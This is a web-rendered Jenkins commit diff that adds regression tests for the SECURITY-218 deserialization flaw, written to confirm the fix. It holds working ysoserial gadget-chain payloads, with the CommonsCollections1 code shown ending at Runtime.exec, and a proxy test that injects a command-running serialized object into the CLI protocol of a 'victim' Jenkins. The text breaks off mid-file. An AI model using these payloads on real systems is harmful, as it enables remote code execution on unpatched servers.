Skip to content
体验新版
项目
组织
正在加载...
登录
切换导航
打开侧边栏
roginluo
Jenkins
提交
a78b13e7
J
Jenkins
项目概览
roginluo
/
Jenkins
通知
1
Star
0
Fork
0
代码
文件
提交
分支
Tags
贡献者
分支图
Diff
Issue
0
列表
看板
标记
里程碑
合并请求
0
DevOps
流水线
流水线任务
计划
Wiki
0
Wiki
分析
仓库
DevOps
项目成员
Pages
J
Jenkins
项目概览
项目概览
详情
发布
仓库
仓库
文件
提交
分支
标签
贡献者
分支图
比较
Issue
0
Issue
0
列表
看板
标记
里程碑
合并请求
0
合并请求
0
Pages
DevOps
DevOps
流水线
流水线任务
计划
分析
分析
仓库分析
DevOps
Wiki
0
Wiki
成员
成员
收起侧边栏
关闭侧边栏
动态
分支图
创建新Issue
流水线任务
提交
Issue看板
体验新版 GitCode,发现更多精彩内容 >>
提交
a78b13e7
编写于
11月 10, 2015
作者:
K
Kohsuke Kawaguchi
浏览文件
操作
浏览文件
下载
差异文件
Merge branch 'security-stable-1.596' into security-stable-1.609
上级
4c0d5ea6
de3bf08a
变更
17
隐藏空白更改
内联
并排
Showing
17 changed file
with
1358 addition
and
3 deletion
+1358
-3
cli/src/main/java/hudson/cli/CliPort.java
cli/src/main/java/hudson/cli/CliPort.java
+2
-2
pom.xml
pom.xml
+1
-1
test/pom.xml
test/pom.xml
+12
-0
test/src/test/java/jenkins/security/Security218BlackBoxTest.java
...c/test/java/jenkins/security/Security218BlackBoxTest.java
+300
-0
test/src/test/java/jenkins/security/Security218CliTest.java
test/src/test/java/jenkins/security/Security218CliTest.java
+194
-0
test/src/test/java/jenkins/security/security218/Payload.java
test/src/test/java/jenkins/security/security218/Payload.java
+52
-0
test/src/test/java/jenkins/security/security218/ysoserial/ExecBlockingSecurityManager.java
...ty/security218/ysoserial/ExecBlockingSecurityManager.java
+67
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections1.java
...y/security218/ysoserial/payloads/CommonsCollections1.java
+99
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections2.java
...y/security218/ysoserial/payloads/CommonsCollections2.java
+77
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Groovy1.java
...kins/security/security218/ysoserial/payloads/Groovy1.java
+66
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java
...ecurity/security218/ysoserial/payloads/ObjectPayload.java
+32
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring1.java
...kins/security/security218/ysoserial/payloads/Spring1.java
+99
-0
test/src/test/java/jenkins/security/security218/ysoserial/util/ClassFiles.java
...nkins/security/security218/ysoserial/util/ClassFiles.java
+67
-0
test/src/test/java/jenkins/security/security218/ysoserial/util/Gadgets.java
.../jenkins/security/security218/ysoserial/util/Gadgets.java
+115
-0
test/src/test/java/jenkins/security/security218/ysoserial/util/PayloadRunner.java
...ns/security/security218/ysoserial/util/PayloadRunner.java
+62
-0
test/src/test/java/jenkins/security/security218/ysoserial/util/Reflections.java
...kins/security/security218/ysoserial/util/Reflections.java
+56
-0
test/src/test/java/jenkins/security/security218/ysoserial/util/Serializables.java
...ns/security/security218/ysoserial/util/Serializables.java
+57
-0
未找到文件。
cli/src/main/java/hudson/cli/CliPort.java
浏览文件 @
a78b13e7
...
@@ -11,7 +11,7 @@ import java.security.spec.X509EncodedKeySpec;
...
@@ -11,7 +11,7 @@ import java.security.spec.X509EncodedKeySpec;
/**
/**
* @author Kohsuke Kawaguchi
* @author Kohsuke Kawaguchi
*/
*/
final
class
CliPort
{
public
final
class
CliPort
{
/**
/**
* The TCP endpoint to talk to.
* The TCP endpoint to talk to.
*/
*/
...
@@ -27,7 +27,7 @@ final class CliPort {
...
@@ -27,7 +27,7 @@ final class CliPort {
*/
*/
final
String
identity
;
final
String
identity
;
CliPort
(
InetSocketAddress
endpoint
,
String
identity
,
int
version
)
{
public
CliPort
(
InetSocketAddress
endpoint
,
String
identity
,
int
version
)
{
this
.
endpoint
=
endpoint
;
this
.
endpoint
=
endpoint
;
this
.
identity
=
identity
;
this
.
identity
=
identity
;
this
.
version
=
version
;
this
.
version
=
version
;
...
...
pom.xml
浏览文件 @
a78b13e7
...
@@ -176,7 +176,7 @@ THE SOFTWARE.
...
@@ -176,7 +176,7 @@ THE SOFTWARE.
<dependency>
<dependency>
<groupId>
org.jenkins-ci.main
</groupId>
<groupId>
org.jenkins-ci.main
</groupId>
<artifactId>
remoting
</artifactId>
<artifactId>
remoting
</artifactId>
<version>
2.53
-20151108.042522-3
</version>
<version>
2.53
</version>
</dependency>
</dependency>
<dependency>
<dependency>
...
...
test/pom.xml
浏览文件 @
a78b13e7
...
@@ -179,6 +179,18 @@ THE SOFTWARE.
...
@@ -179,6 +179,18 @@ THE SOFTWARE.
<artifactId>
geb-implicit-assertions
</artifactId>
<artifactId>
geb-implicit-assertions
</artifactId>
<version>
0.7.2
</version>
<version>
0.7.2
</version>
</dependency>
</dependency>
<dependency>
<groupId>
org.javassist
</groupId>
<artifactId>
javassist
</artifactId>
<version>
3.19.0-GA
</version>
<scope>
test
</scope>
</dependency>
<dependency>
<groupId>
org.apache.commons
</groupId>
<artifactId>
commons-collections4
</artifactId>
<version>
4.0
</version>
<scope>
test
</scope>
</dependency>
</dependencies>
</dependencies>
<build>
<build>
...
...
test/src/test/java/jenkins/security/Security218BlackBoxTest.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright 2015 CloudBees, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security
;
import
com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException
;
import
hudson.cli.CLI
;
import
hudson.cli.CliPort
;
import
hudson.remoting.BinarySafeStream
;
import
hudson.util.DaemonThreadFactory
;
import
java.io.ByteArrayOutputStream
;
import
java.io.DataOutputStream
;
import
java.io.File
;
import
java.io.IOException
;
import
java.io.InputStream
;
import
java.io.OutputStream
;
import
java.net.HttpURLConnection
;
import
java.net.InetSocketAddress
;
import
java.net.ServerSocket
;
import
java.net.Socket
;
import
java.net.URL
;
import
java.util.concurrent.ExecutorService
;
import
java.util.concurrent.Executors
;
import
java.util.concurrent.TimeUnit
;
import
java.util.concurrent.TimeoutException
;
import
jenkins.security.security218.ysoserial.payloads.CommonsCollections1
;
import
jenkins.security.security218.ysoserial.util.Serializables
;
import
static
org
.
junit
.
Assert
.*;
import
org.junit.Test
;
import
org.junit.Rule
;
import
org.jvnet.hudson.test.JenkinsRule
;
import
org.jvnet.hudson.test.recipes.PresetData
;
public
class
Security218BlackBoxTest
{
private
static
final
String
overrideURL
=
System
.
getenv
(
"VICTIM_JENKINS_URL"
);
private
static
final
String
overrideHome
=
System
.
getenv
(
"VICTIM_JENKINS_HOME"
);
static
{
assertTrue
(
"$JENKINS_URL and $JENKINS_HOME must both be defined together"
,
(
overrideURL
==
null
)
==
(
overrideHome
==
null
));
}
private
static
final
ExecutorService
executors
=
Executors
.
newCachedThreadPool
(
new
DaemonThreadFactory
());
@Rule
public
JenkinsRule
r
=
new
JenkinsRule
();
@SuppressWarnings
(
"deprecation"
)
// really mean to use getPage(String)
@PresetData
(
PresetData
.
DataSet
.
ANONYMOUS_READONLY
)
// TODO userContent inaccessible without authentication otherwise
@Test
public
void
probe
()
throws
Exception
{
JenkinsRule
.
WebClient
wc
=
r
.
createWebClient
();
final
URL
url
=
overrideURL
==
null
?
r
.
getURL
()
:
new
URL
(
overrideURL
);
wc
.
getPage
(
url
+
"userContent/readme.txt"
);
try
{
wc
.
getPage
(
url
+
"userContent/pwned"
);
fail
(
"already compromised?"
);
}
catch
(
FailingHttpStatusCodeException
x
)
{
assertEquals
(
404
,
x
.
getStatusCode
());
}
for
(
int
round
=
0
;
round
<
2
;
round
++)
{
final
int
_round
=
round
;
final
ServerSocket
proxySocket
=
new
ServerSocket
(
0
);
executors
.
submit
(
new
Runnable
()
{
@Override
public
void
run
()
{
try
{
Socket
proxy
=
proxySocket
.
accept
();
HttpURLConnection
conn
=
(
HttpURLConnection
)
url
.
openConnection
();
String
host
=
conn
.
getHeaderField
(
"X-Jenkins-CLI-Host"
);
Socket
real
=
new
Socket
(
host
==
null
?
url
.
getHost
()
:
host
,
conn
.
getHeaderFieldInt
(
"X-Jenkins-CLI-Port"
,
-
1
));
final
InputStream
realIS
=
real
.
getInputStream
();
final
OutputStream
realOS
=
real
.
getOutputStream
();
final
InputStream
proxyIS
=
proxy
.
getInputStream
();
final
OutputStream
proxyOS
=
proxy
.
getOutputStream
();
executors
.
submit
(
new
Runnable
()
{
@Override
public
void
run
()
{
try
{
// Read up to \x00\x00\x00\x00, end of header.
int
nullCount
=
0
;
ByteArrayOutputStream
buf
=
new
ByteArrayOutputStream
();
int
c
;
while
((
c
=
realIS
.
read
())
!=
-
1
)
{
proxyOS
.
write
(
c
);
buf
.
write
(
c
);
if
(
c
==
0
)
{
if
(++
nullCount
==
4
)
{
break
;
}
}
else
{
nullCount
=
0
;
}
}
System
.
err
.
print
(
"← "
);
display
(
buf
.
toByteArray
());
System
.
err
.
println
();
// Now assume we are in chunked transport.
PACKETS:
while
(
true
)
{
buf
.
reset
();
//System.err.println("reading one packet");
while
(
true
)
{
// one packet, ≥1 chunk
//System.err.println("reading one chunk");
int
hi
=
realIS
.
read
();
if
(
hi
==
-
1
)
{
break
PACKETS
;
}
proxyOS
.
write
(
hi
);
int
lo
=
realIS
.
read
();
proxyOS
.
write
(
lo
);
boolean
hasMore
=
(
hi
&
0x80
)
>
0
;
if
(
hasMore
)
{
hi
&=
0x7F
;
}
int
len
=
hi
*
0x100
+
lo
;
//System.err.printf("waiting for %X bytes%n", len);
for
(
int
i
=
0
;
i
<
len
;
i
++)
{
c
=
realIS
.
read
();
proxyOS
.
write
(
c
);
buf
.
write
(
c
);
}
if
(
hasMore
)
{
continue
;
}
System
.
err
.
print
(
"← "
);
byte
[]
data
=
buf
.
toByteArray
();
//display(data);
showSer
(
data
);
System
.
err
.
println
();
break
;
}
}
}
catch
(
IOException
x
)
{
x
.
printStackTrace
();
}
}
});
executors
.
submit
(
new
Runnable
()
{
@Override
public
void
run
()
{
try
{
ByteArrayOutputStream
buf
=
new
ByteArrayOutputStream
();
ByteArrayOutputStream
toCopy
=
new
ByteArrayOutputStream
();
int
c
;
int
nullCount
=
0
;
while
((
c
=
proxyIS
.
read
())
!=
-
1
)
{
toCopy
.
write
(
c
);
buf
.
write
(
c
);
if
(
c
==
0
)
{
if
(++
nullCount
==
4
)
{
break
;
}
}
else
{
nullCount
=
0
;
}
}
if
(
_round
==
0
)
{
System
.
err
.
println
(
"injecting payload into capability negotiation"
);
// replacing \x00\x14Protocol:CLI-connect<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00
new
DataOutputStream
(
realOS
).
writeUTF
(
"Protocol:CLI-connect"
);
// TCP agent protocol
byte
[]
PREAMBLE
=
"<===[JENKINS REMOTING CAPACITY]===>"
.
getBytes
(
"UTF-8"
);
// Capability
realOS
.
write
(
PREAMBLE
);
OutputStream
bss
=
BinarySafeStream
.
wrap
(
realOS
);
bss
.
write
(
payload
());
bss
.
flush
();
}
else
{
System
.
err
.
print
(
"→ "
);
display
(
buf
.
toByteArray
());
System
.
err
.
println
();
realOS
.
write
(
toCopy
.
toByteArray
());
}
int
packet
=
0
;
PACKETS:
while
(
true
)
{
buf
.
reset
();
toCopy
.
reset
();
while
(
true
)
{
int
hi
=
proxyIS
.
read
();
if
(
hi
==
-
1
)
{
break
PACKETS
;
}
toCopy
.
write
(
hi
);
int
lo
=
proxyIS
.
read
();
toCopy
.
write
(
lo
);
boolean
hasMore
=
(
hi
&
0x80
)
>
0
;
if
(
hasMore
)
{
hi
&=
0x7F
;
}
int
len
=
hi
*
0x100
+
lo
;
for
(
int
i
=
0
;
i
<
len
;
i
++)
{
c
=
proxyIS
.
read
();
toCopy
.
write
(
c
);
buf
.
write
(
c
);
}
if
(
hasMore
)
{
continue
;
}
if
(++
packet
==
_round
)
{
System
.
err
.
println
(
"injecting payload into packet"
);
byte
[]
data
=
payload
();
realOS
.
write
(
data
.
length
/
256
);
realOS
.
write
(
data
.
length
%
256
);
realOS
.
write
(
data
);
}
else
{
System
.
err
.
print
(
"→ "
);
byte
[]
data
=
buf
.
toByteArray
();
//display(data);
showSer
(
data
);
System
.
err
.
println
();
realOS
.
write
(
toCopy
.
toByteArray
());
}
break
;
}
}
}
catch
(
Exception
x
)
{
x
.
printStackTrace
();
}
}
});
}
catch
(
IOException
x
)
{
x
.
printStackTrace
();
}
}
});
try
{
executors
.
submit
(
new
Runnable
()
{
@Override
public
void
run
()
{
// Bypassing _main because it does nothing interesting here.
// Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff.
try
{
new
CLI
(
r
.
getURL
())
{
@Override
protected
CliPort
getCliTcpPort
(
String
url
)
throws
IOException
{
return
new
CliPort
(
new
InetSocketAddress
(
proxySocket
.
getInetAddress
(),
proxySocket
.
getLocalPort
()),
/* ignore identity */
null
,
1
);
}
}.
execute
(
"help"
);
}
catch
(
Exception
x
)
{
x
.
printStackTrace
();
}
}
}).
get
(
5
,
TimeUnit
.
SECONDS
);
}
catch
(
TimeoutException
x
)
{
System
.
err
.
println
(
"CLI command timed out"
);
}
try
{
wc
.
getPage
(
url
+
"userContent/pwned"
);
fail
(
"Pwned!"
);
}
catch
(
FailingHttpStatusCodeException
x
)
{
assertEquals
(
404
,
x
.
getStatusCode
());
}
}
}
private
static
synchronized
void
display
(
byte
[]
data
)
{
for
(
byte
c
:
data
)
{
if
(
c
>=
' '
&&
c
<=
'~'
)
{
System
.
err
.
write
(
c
);
}
else
{
System
.
err
.
printf
(
"\\x%02X"
,
c
);
}
}
}
private
static
synchronized
void
showSer
(
byte
[]
data
)
{
try
{
Object
o
=
Serializables
.
deserialize
(
data
);
System
.
err
.
print
(
o
);
}
catch
(
Exception
x
)
{
System
.
err
.
printf
(
"<%s>"
,
x
);
}
}
/** An attack payload, as a Java serialized object ({@code \xAC\ED…}). */
private
byte
[]
payload
()
throws
Exception
{
File
home
=
overrideHome
==
null
?
r
.
jenkins
.
root
:
new
File
(
overrideHome
);
// TODO find a Windows equivalent
return
Serializables
.
serialize
(
new
CommonsCollections1
().
getObject
(
"touch "
+
new
File
(
new
File
(
home
,
"userContent"
),
"pwned"
)));
}
}
test/src/test/java/jenkins/security/Security218CliTest.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright 2015 CloudBees, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security
;
import
hudson.cli.CLI
;
import
hudson.cli.CLICommand
;
import
hudson.remoting.Callable
;
import
hudson.remoting.Channel
;
import
java.io.File
;
import
java.io.PrintStream
;
import
jenkins.security.security218.Payload
;
import
org.jenkinsci.remoting.RoleChecker
;
import
org.junit.Test
;
import
static
org
.
junit
.
Assert
.*;
import
org.junit.Rule
;
import
org.jvnet.hudson.test.Issue
;
import
org.jvnet.hudson.test.JenkinsRule
;
import
org.jvnet.hudson.test.TestExtension
;
import
org.jvnet.hudson.test.recipes.PresetData
;
import
org.kohsuke.args4j.Argument
;
public
class
Security218CliTest
{
@Rule
public
JenkinsRule
r
=
new
JenkinsRule
();
@PresetData
(
PresetData
.
DataSet
.
ANONYMOUS_READONLY
)
@Test
@Issue
(
"SECURITY-218"
)
public
void
probeCommonsCollections1
()
throws
Exception
{
probe
(
Payload
.
CommonsCollections1
,
PayloadCaller
.
EXIT_CODE_REJECTED
);
}
@PresetData
(
PresetData
.
DataSet
.
ANONYMOUS_READONLY
)
@Test
@Issue
(
"SECURITY-218"
)
public
void
probeCommonsCollections2
()
throws
Exception
{
// The issue with CommonsCollections2 does not appear in manual tests on Jenkins, but it may be a risk
// in newer commons-collections version => remoting implementation should filter this class anyway
probe
(
Payload
.
CommonsCollections2
,
PayloadCaller
.
EXIT_CODE_REJECTED
);
}
@PresetData
(
PresetData
.
DataSet
.
ANONYMOUS_READONLY
)
@Test
@Issue
(
"SECURITY-218"
)
public
void
probeGroovy1
()
throws
Exception
{
probe
(
Payload
.
Groovy1
,
PayloadCaller
.
EXIT_CODE_REJECTED
);
}
//TODO: Fix the conversion layer (not urgent)
// There is an issue in the conversion layer after the migration to another XALAN namespace
// with newer libs. SECURITY-218 does not apper in this case in manual tests anyway
@PresetData
(
PresetData
.
DataSet
.
ANONYMOUS_READONLY
)
@Test
@Issue
(
"SECURITY-218"
)
public
void
probeSpring1
()
throws
Exception
{
probe
(
Payload
.
Spring1
,
-
1
);
}
private
void
probe
(
Payload
payload
,
int
expectedResultCode
)
throws
Exception
{
File
file
=
File
.
createTempFile
(
"security-218"
,
payload
+
"-payload"
);
File
moved
=
new
File
(
file
.
getAbsolutePath
()
+
"-moved"
);
// Bypassing _main because it does nothing interesting here.
// Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff.
int
exitCode
=
new
CLI
(
r
.
getURL
()).
execute
(
"send-payload"
,
payload
.
toString
(),
"mv "
+
file
.
getAbsolutePath
()
+
" "
+
moved
.
getAbsolutePath
());
assertEquals
(
"Unexpected result code."
,
expectedResultCode
,
exitCode
);
assertTrue
(
"Payload should not invoke the move operation "
+
file
,
!
moved
.
exists
());
file
.
delete
();
}
@TestExtension
()
public
static
class
SendPayloadCommand
extends
CLICommand
{
@Override
public
String
getShortDescription
()
{
return
hudson
.
cli
.
Messages
.
ConsoleCommand_ShortDescription
();
}
@Argument
(
metaVar
=
"payload"
,
usage
=
"ID of the payload"
,
required
=
true
,
index
=
0
)
public
String
payload
;
@Argument
(
metaVar
=
"command"
,
usage
=
"Command to be launched by the payload"
,
required
=
true
,
index
=
1
)
public
String
command
;
protected
int
run
()
throws
Exception
{
Payload
payloadItem
=
Payload
.
valueOf
(
this
.
payload
);
PayloadCaller
callable
=
new
PayloadCaller
(
payloadItem
,
command
);
return
channel
.
call
(
callable
);
}
@Override
protected
void
printUsageSummary
(
PrintStream
stderr
)
{
stderr
.
println
(
"Sends a payload over the channel"
);
}
}
public
static
class
PayloadCaller
implements
Callable
<
Integer
,
Exception
>
{
private
final
Payload
payload
;
private
final
String
command
;
public
static
final
int
EXIT_CODE_OK
=
0
;
public
static
final
int
EXIT_CODE_REJECTED
=
42
;
public
static
final
int
EXIT_CODE_ASSIGNMENT_ISSUE
=
43
;
public
PayloadCaller
(
Payload
payload
,
String
command
)
{
this
.
payload
=
payload
;
this
.
command
=
command
;
}
@Override
public
Integer
call
()
throws
Exception
{
final
Object
ysoserial
=
payload
.
getPayloadClass
().
newInstance
().
getObject
(
command
);
// Invoke backward call
try
{
Channel
.
current
().
call
(
new
Callable
<
String
,
Exception
>()
{
private
static
final
long
serialVersionUID
=
1L
;
@Override
public
String
call
()
throws
Exception
{
// We don't care what happens here. Object should be sent over the channel
return
ysoserial
.
toString
();
}
@Override
public
void
checkRoles
(
RoleChecker
checker
)
throws
SecurityException
{
// do nothing
}
});
}
catch
(
Exception
ex
)
{
Throwable
cause
=
ex
;
while
(
cause
.
getCause
()
!=
null
)
{
cause
=
cause
.
getCause
();
}
if
(
cause
instanceof
SecurityException
)
{
// It should happen if the remote chanel reject a class.
// That's what we have done in SECURITY-218 => may be OK
if
(
cause
.
getMessage
().
contains
(
"Rejected"
))
{
// OK
return
PayloadCaller
.
EXIT_CODE_REJECTED
;
}
else
{
// Something wrong
throw
ex
;
}
}
final
String
message
=
cause
.
getMessage
();
if
(
message
!=
null
&&
message
.
contains
(
"cannot be cast to java.util.Set"
))
{
// We ignore this exception, because there is a known issue in the test payload
// CommonsCollections1, CommonsCollections2 and Groovy1 fail witth this error,
// but actually it means that the conversion has been triggered
return
EXIT_CODE_ASSIGNMENT_ISSUE
;
}
else
{
throw
ex
;
}
}
return
EXIT_CODE_OK
;
}
@Override
public
void
checkRoles
(
RoleChecker
checker
)
throws
SecurityException
{
// Do nothing
}
}
}
test/src/test/java/jenkins/security/security218/Payload.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2015 Oleg Nenashev.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218
;
import
jenkins.security.security218.ysoserial.payloads.CommonsCollections1
;
import
jenkins.security.security218.ysoserial.payloads.CommonsCollections2
;
import
jenkins.security.security218.ysoserial.payloads.Groovy1
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload
;
import
jenkins.security.security218.ysoserial.payloads.Spring1
;
/**
* Allows to select {@link ObjectPayload}s.
* @author Oleg Nenashev
*/
public
enum
Payload
{
CommonsCollections1
(
CommonsCollections1
.
class
),
CommonsCollections2
(
CommonsCollections2
.
class
),
Groovy1
(
Groovy1
.
class
),
Spring1
(
Spring1
.
class
);
private
final
Class
<?
extends
ObjectPayload
>
payloadClass
;
private
Payload
(
Class
<?
extends
ObjectPayload
>
payloadClass
)
{
this
.
payloadClass
=
payloadClass
;
}
public
Class
<?
extends
ObjectPayload
>
getPayloadClass
()
{
return
payloadClass
;
}
}
test/src/test/java/jenkins/security/security218/ysoserial/ExecBlockingSecurityManager.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial
;
import
java.security.Permission
;
import
java.util.concurrent.Callable
;
public
class
ExecBlockingSecurityManager
extends
SecurityManager
{
@Override
public
void
checkPermission
(
final
Permission
perm
)
{
}
@Override
public
void
checkPermission
(
final
Permission
perm
,
final
Object
context
)
{
}
public
void
checkExec
(
final
String
cmd
)
{
super
.
checkExec
(
cmd
);
// throw a special exception to ensure we can detect exec() in the test
throw
new
ExecException
(
cmd
);
};
@SuppressWarnings
(
"serial"
)
public
static
class
ExecException
extends
RuntimeException
{
private
final
String
cmd
;
public
ExecException
(
String
cmd
)
{
this
.
cmd
=
cmd
;
}
public
String
getCmd
()
{
return
cmd
;
}
}
public
static
void
wrap
(
final
Runnable
runnable
)
throws
Exception
{
wrap
(
new
Callable
<
Void
>(){
public
Void
call
()
throws
Exception
{
runnable
.
run
();
return
null
;
}
});
}
public
static
<
T
>
T
wrap
(
final
Callable
<
T
>
callable
)
throws
Exception
{
SecurityManager
sm
=
System
.
getSecurityManager
();
System
.
setSecurityManager
(
new
ExecBlockingSecurityManager
());
try
{
return
callable
.
call
();
}
finally
{
System
.
setSecurityManager
(
sm
);
}
}
}
\ No newline at end of file
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections1.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial.payloads
;
import
java.lang.reflect.InvocationHandler
;
import
java.util.HashMap
;
import
java.util.Map
;
import
jenkins.security.security218.ysoserial.util.Gadgets
;
import
jenkins.security.security218.ysoserial.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.util.Reflections
;
import
org.apache.commons.collections.Transformer
;
import
org.apache.commons.collections.functors.ChainedTransformer
;
import
org.apache.commons.collections.functors.ConstantTransformer
;
import
org.apache.commons.collections.functors.InvokerTransformer
;
import
org.apache.commons.collections.map.LazyMap
;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
})
public
class
CommonsCollections1
extends
PayloadRunner
implements
ObjectPayload
<
InvocationHandler
>
{
public
InvocationHandler
getObject
(
final
String
command
)
throws
Exception
{
final
String
[]
execArgs
=
new
String
[]
{
command
};
// inert chain for setup
final
Transformer
transformerChain
=
new
ChainedTransformer
(
new
Transformer
[]{
new
ConstantTransformer
(
1
)
});
// real chain for after setup
final
Transformer
[]
transformers
=
new
Transformer
[]
{
new
ConstantTransformer
(
Runtime
.
class
),
new
InvokerTransformer
(
"getMethod"
,
new
Class
[]
{
String
.
class
,
Class
[].
class
},
new
Object
[]
{
"getRuntime"
,
new
Class
[
0
]
}),
new
InvokerTransformer
(
"invoke"
,
new
Class
[]
{
Object
.
class
,
Object
[].
class
},
new
Object
[]
{
null
,
new
Object
[
0
]
}),
new
InvokerTransformer
(
"exec"
,
new
Class
[]
{
String
.
class
},
execArgs
),
new
ConstantTransformer
(
1
)
};
final
Map
innerMap
=
new
HashMap
();
final
Map
lazyMap
=
LazyMap
.
decorate
(
innerMap
,
transformerChain
);
final
Map
mapProxy
=
